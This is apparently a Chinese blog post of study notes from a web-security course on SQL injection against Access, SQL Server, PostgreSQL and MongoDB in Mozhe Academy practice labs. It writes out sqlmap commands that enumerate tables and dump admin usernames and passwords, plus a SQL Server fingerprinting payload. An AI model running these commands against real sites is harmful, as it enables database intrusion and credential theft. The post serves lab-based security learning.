第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入

目录在这儿

  • 前言(脑图)
  • 正文
    • 1.0. 补充Json注入案例
    • 1.1. 简要学习各种数据库的注入特点
    • 1.2. 简要学习各种注入工具的使用指南
  • 演示案例
    • 1. sqlmap+Access
    • 2. Pangolin+Sql-server
    • 3. PostgreSQL
    • 4. MongoDB
  • 参考链接


前言(脑图)

  1. 今天主要是数据库类型,对,右上角那块儿第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第1张图片

第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第2张图片
低权限去数据库去想办法,高权限直接进行操作,总之,前提需要现有注入点注入


正文

Access、mysql、mssql、mongoDB、postgresql、sqlite、oracle、sybase等

1.0. 补充Json注入案例

在这里插入图片描述
SELECT * FROM user WHERE username=“‘{$username}’”;
闭合单引号即可,花括号是json数据来的变量的意思
闭合哪个符号全看sql查询语句怎么写

1.1. 简要学习各种数据库的注入特点

数据库架构组成,数据库高权限操作

Access外,其他数据库大同小异,切市面上较少,和sp

1.2. 简要学习各种注入工具的使用指南

熟悉数据库注入工具的支持库,注入模式,优缺点
Sqlmap,NoSQLAttack,Pangolin等


  1. 各网站的数据库文件存在网站源码下,因此各数据库独立运行互不相关,因此无法跨库操作,并且也缺少一些功能例如文件读写等(.mdb文件)
  2. 数据库配置文件决定网站注入点用户权限
  3. 尝试抓包工具配合注入工具,查看注入语句和注入步骤操作

遗留问题:Access注入时,列名或者表明猜解不到


演示案例

工具链接:

  1. sqlmap超详细笔记+思维导图
  2. NoSQLAttack (支持MongDB)
  3. sqlmap( 拥有更多的自定义功能,更为强大)

数据库结构模式:
Access: (使用范围渐少)
  表名
    列名
      数据
没有information表,因此表名、列名等等都靠暴力拆解


mysql、mssql等:
  数据库名A
    表名
      列名
        数据
  数据库名B
  … …

1. sqlmap+Access

墨者学院:SQL手工注入漏洞测试(Access数据库).

  Access没有information表,数据库名、操作系统等等都无法查询,即只能暴力,access只能猜数据,猜不到就GG.

  判断注入点时,数据库种类多,且测试方式不同,因此还是用工具(工具也会有误差)

  1. 首先尝试Sqlmap,但是一直报错在这里插入图片描述
    在这里插入图片描述
  1. 应该时直接暴力海量尝试 sqlmap -u http://219.153.49.228:46617/new_list.asp?id=1 --tables 查询所有表在这里插入图片描述
    运行初始就看到了admin表,但是跑完第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第3张图片
  1. 尝试爆表内值 sqlmap -u http://219.153.49.228:46617/new_list.asp?id=1 --dump -T "admin"> 第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第4张图片
    第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第5张图片

对于墨者靶场这种规模的题目,查询到有admin表以及对应的username和passwd几个关键不如直接手动注入查询,工具跑起来还是困困困


2. Pangolin+Sql-server

墨者学院:SQL手工注入漏洞测试(Sql Server数据库)

每个数据库注入时的区别,每个数据库支持的功能不一样,获取到的权限和可执行操作等不同

  1. Sql-server界面
    第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第6张图片
  2. mysql
    第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第7张图片
  3. Oracle
    第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第8张图片
  1. Information页 版本:数据库名、计算机名、数据库名、管理员最高权限、Sql-server对应root (mysql)、数据库各表名、磁盘、用户组、用户
    第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第9张图片

  2. 获取数据页获取数据库信息,表名数据等
    第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第10张图片

  3. 文件夹取消的权限可尝试恢复后再执行
    第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第11张图片


手工注入

判断数据库类型
and exists (select count(*) from sysobjects)-- 查询sysobject是否存在,特有文件

3. PostgreSQL

墨者学院:SQL手工注入漏洞测试(PostgreSQL数据库)
注入工具判定数据库类型误报的话,

操作步骤:

  1. 查看数据库信息sqlmap http://124.70.71.251:43805/new_list.php?id=1 -v 3在这里插入图片描述

  2. 查看当前数据库用户权限sqlmap http://124.70.71.251:43805/new_list.php?id=1 --privileges 或者 sqlmap http://124.70.71.251:43805/new_list.php?id=1 --is-dba 非管理员的话需要再寻找所有用户以及对应密码更换账号在这里插入图片描述

  3. 查看所有数据库名sqlmap http://124.70.71.251:43805/new_list.php?id=1 --dbs 和当前数据库名 sqlmap http://124.70.71.251:43805/new_list.php?id=1 --current-db第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第12张图片在这里插入图片描述

  4. 查看当前数据库所有表名 qlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D "public"第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第13张图片

  5. 查看表明的列名 sqlmap http://124.70.71.251:43805/new_list.php?id=1 --columns -D "public" -T "reg_users"第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第14张图片

  6. 查看列明对应的值 sqlmap http://124.70.71.251:43805/new_list.php?id=1 --dump -C "name,password" -D "public" -T "reg_users"第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第15张图片

4. MongoDB

墨者学院:SQL手工注入漏洞测试(MongoDB数据库)

MongoDB常加上python搭建 手工注入

注意网页代码的php语言输出方式,若输出方式相异则显示的信息不全面(tojson) 要么改代码、要么更改数据接收格式。(对于字符串或者Json等echo只显示数据名称,不显示详细数据)

NoSQLAttack工具支持MongoDB:
第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第16张图片
修改不动,不理解,后续再修改
第15篇:WEB漏洞~SQL注入~Oracle、MongoDB等注入_第17张图片


参考链接

墨者刷题笔记
【小迪安全】web安全|渗透测试|网络安全

你可能感兴趣的:(小迪安全,mongodb,数据库,sql)